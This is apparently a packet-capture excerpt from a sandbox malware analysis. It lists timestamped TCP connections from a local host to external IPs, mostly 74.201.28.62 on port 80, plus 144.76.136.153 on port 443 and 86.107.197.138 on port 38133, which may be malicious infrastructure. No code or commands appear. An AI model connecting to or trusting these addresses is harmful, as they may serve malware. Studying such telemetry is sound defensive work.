Jan 14, 2022 20:30:06.680453062 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680465937 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680491924 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680529118 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680546045 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680567980 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680607080 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680624008 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680646896 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680687904 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680722952 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680738926 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680762053 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680778027 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680802107 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680840015 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680851936 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680877924 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680915117 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680927992 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.680953979 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.680994034 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681029081 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681046009 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681067944 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681081057 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681107044 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681143045 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681157112 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681181908 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681220055 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681232929 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681258917 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681302071 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681339025 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681355953 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681377888 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681392908 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681417942 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681453943 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681492090 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681514978 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681529045 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681543112 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681570053 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681608915 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681644917 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681667089 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681683064 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681703091 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681723118 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681759119 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681772947 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681797981 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681838036 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681854010 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.681915045 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681957006 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.681996107 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682009935 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682035923 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682075024 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682091951 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682116032 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682131052 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682154894 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682193041 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682209969 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682230949 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682269096 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682306051 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682320118 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682344913 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682383060 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682396889 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682423115 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682430983 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682461023 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682499886 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682538986 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682555914 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.682575941 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.682591915 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.710601091 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.710645914 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.710736036 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.710753918 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.751422882 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.751477957 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.751502037 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.751547098 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.779637098 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:06.780572891 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780626059 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780668020 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780704975 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780704975 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.780733109 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.780745983 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780765057 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.780788898 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780806065 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.780829906 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780869007 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780880928 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.780909061 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780911922 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.780949116 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780989885 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.780997038 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781027079 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781066895 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781105995 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781106949 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781116962 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781121969 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781141996 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781147957 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781183958 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781199932 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781224966 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781236887 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781265974 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781281948 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781311989 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781321049 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781351089 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781364918 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781392097 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781431913 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781447887 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781482935 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781522989 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781531096 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781563044 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781599998 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781614065 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781641006 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781682014 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781689882 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781723022 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781764984 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781780958 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781804085 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781841993 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781862020 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781867981 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781917095 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781958103 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.781966925 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.781996965 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782037020 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782052994 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782073975 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782113075 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782113075 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782136917 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782154083 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782155991 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782193899 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782232046 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782248020 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782269955 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782284021 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782306910 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782321930 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782347918 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782385111 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782398939 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782423973 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782428980 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782464981 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782501936 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782515049 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782540083 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782553911 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782581091 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782618046 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782656908 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782671928 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782690048 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782695055 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782708883 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782737017 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782741070 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782777071 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782813072 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782826900 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782855034 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782867908 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782893896 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782902002 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.782931089 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782968998 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.782982111 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783008099 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783025026 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783046961 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783061028 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783087969 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783123970 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783138990 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783162117 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783174992 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783200026 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783210993 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783238888 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783276081 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783288956 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783314943 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783353090 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783366919 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783392906 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783430099 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783443928 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783468962 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783507109 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783523083 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783543110 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783581972 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783591032 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783620119 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783658028 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783673048 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783698082 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783734083 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783746004 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783771992 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783809900 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783823967 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783848047 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783885956 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783894062 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783924103 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783957958 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.783962965 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.783971071 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784003019 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784015894 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784040928 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784071922 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784080029 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784094095 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784118891 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784156084 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784168959 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784182072 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784194946 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784223080 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784233093 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784240961 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784271955 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784287930 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784312963 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784332991 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784349918 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784364939 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784389019 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784425974 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784439087 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784462929 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784482002 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784501076 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784514904 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784542084 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784579992 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784595013 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784620047 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784656048 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784671068 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784694910 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784734011 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784746885 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784770966 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784807920 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784822941 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784847021 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784887075 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784899950 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.784926891 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784962893 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.784976006 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.785001993 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785039902 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785060883 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.785075903 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785115004 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785129070 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.785152912 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785191059 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785201073 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.785232067 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785268068 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785280943 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.785307884 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785346031 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785353899 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.785382986 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785423040 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.785432100 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.785557032 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.807965040 CET	38133	49892	86.107.197.138	192.168.2.4
Jan 14, 2022 20:30:06.808260918 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:06.850114107 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.850164890 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.850238085 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.883450031 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883693933 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883730888 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883769989 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883778095 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.883807898 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883817911 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.883824110 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.883871078 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883910894 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883929014 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.883949995 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.883990049 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884005070 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884030104 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884069920 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884078979 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884109974 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884146929 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884160995 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884186983 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884202003 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884227037 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884234905 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884264946 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884303093 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884311914 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884341955 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884381056 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884388924 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884417057 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884455919 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884510040 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884548903 CET	80	49891	74.201.28.62	192.168.2.4
